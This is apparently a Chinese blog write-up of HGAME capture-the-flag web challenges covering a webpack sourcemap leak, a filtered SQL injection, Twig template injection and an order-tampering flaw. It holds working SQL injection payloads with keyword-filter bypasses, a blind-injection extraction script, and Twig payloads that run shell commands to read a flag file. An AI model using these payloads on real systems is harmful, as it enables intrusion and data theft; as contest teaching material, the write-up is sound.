HGAME-week2-3

HGAME第二,三周的题变难了许多

webpack-engine

考点:webpack源码泄露

打开之后看到:

webpack在打包js文件的时候开启了sourcemap,可以借助开发者工具还原源码

filiiililil4g: 'YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo='
二次base64解码就可以了

flag:hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

Pokemon

考点:sql联合查询注入

过滤很多关键字,再给点hint中,如:空格,or,and,select,union,=,from,where
(几乎把该过滤都过了,我认为的

但是可以试双写(最常见的)

select=seleselectct,from=frfromom,where=whewhereere,union=uniunionon
空格可以用 /*/**/*/
=可以用 like 或 regexp,rlike
(上面都可以百度查的)

开始尝试:

  1. order by 一下
    得到:

得到有两段字段

2.union select查询
查数据库(pokemon)

payload:404/*1*/uniunionon/*1*/seleselectct/*1*/1,database()

  1. union select查询
    查表(fllllllllaaaaaag)

payload:404/*1*/uniunionon/*1*/seleselectct/*1*/1,group_concat(table_name)/*1*/frfromom/*1*/infoorrmation_schema.tables/*1*/whwhereere/*1*/table_schema/*1*/rlike/*1*/"^pokemon$"

这里information里面的or需要双写

  1. union select查询
    查列(flag)

payload: 404/*1*/uniunionon/*1*/seleselectct/*1*/1,group_concat(column_name)/*1*/frfromom/*1*/infoorrmation_schema.columns/*1*/whwhereere/*1*/table_name/*1*/rlike/*1*/"^fllllllllaaaaaag$"

5.union select查询
查数据

payload: 404/*1*/uniunionon/*1*/seleselectct/*1*/1,flag/*1*/frfromom/*1*/fllllllllaaaaaag

flag:hgame{C0n9r@tul4tiOnY0u$4r3_sq1_M4ST3R#}*

这道题好像可以用脚本的方式

大佬的脚本:

import requests
url="http://121.43.141.153:60056/error.php?code="
flag=''
for i in range(1,200):
    min = 32
    max = 127
    while min<max:
        mid=(min+max)//2
        # payload=f"if(ascii(substr((selselectect(group_concat(table_name))frfromom(infoorrmation_schema.tables)whwhereere(!(table_schema<>database()))),{i},1))>{mid},404,403)"
        # payload=f"if(ascii(substr((selselectect(group_concat(column_name))frfromom(infoorrmation_schema.columns)whewherere(!(table_name=<>'fllllllllaaaaaag'))),{i},1))>{mid},404,403)"
        payload=f"if(ascii(substr((selselectect(group_concat(flag))frfromom(fllllllllaaaaaag)),{i},1))>{mid},404,403)"
        response=requests.get(url=url+payload)
        if '404' in response.text:
            min =mid+1
        else:
            max=mid
    if min !=32 :
        flag+=chr(min)
    else:
        break
    print(flag)

SecurityCenter

考点:简单的SSTI

在给的配置文件中:

使用twig模板,可以进行twig模板注入 ,但是得找到注入点 (一开始我也没找到)

在跳转的页面中存在注入点:

试试一下{{7*7}},回显49,说明存在SSTI,在这里注入

不过好像过滤的不多,用网上通用的payload就能打通

payload: http://146.56.223.34:60036/redirect.php?url={{["ls"]|filter("system")|join(",")}}

有回显:

但是找了这几个文件都没有flag,使用find 命令,找一下flag

payload: http://146.56.223.34:60036/redirect.php?url={{[%22find / name ' flag'%22]|filter(%22system%22)|join(%22,%22)}}

在最低下有一个/flag文件:

想用cat 命令直接获取的,但是cat似乎被过滤了,就用了tac命令,不过如果返回的包含hgame就会被提示为hacker!

参照上一年的方法,使用了base64代码转出来就行

最后的payload:

?url={{["tac%20/flag%20|%20base64"]|filter("system")|join(",")}}

最后得到:

aGdhbWV7IVR3MTktUzV0MX4xc15zMDBPME9faW50ZXIzc3QxbjV+IX0K

base64解码一下就得到flag了

flag:hgame{!Tw19-S5t11s^s00O0O_inter3st1n5!}

关于twig模板注入,参照这篇博客 [twig](TWIG 全版本通用 SSTI payloads - 先知社区 (aliyun.com)](https://xz.aliyun.com/t/7518#toc-5))

Vidar shop demo

考点:条件竞争

虽然这道题是条件竞争,但我是用来非预期的方法做的 (条件竞争不太熟)

打开之后注册账号:

手机号:14725836910 密码:1234567890

看到flag,但是差一个金币

先把徽章和flag都加入订单,然后再删除徽章的时候抓包,把ID改为flag的ID后发包,直接金币变多起来

再买一个flag就可以了

flag:
hgame{289d970f0b0d1db75c824ddd14b1e9d1efbb3474cabedf4df0332f4ff0682638}

posted @   Freshman0611  阅读(112)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
点击右上角即可分享
微信分享提示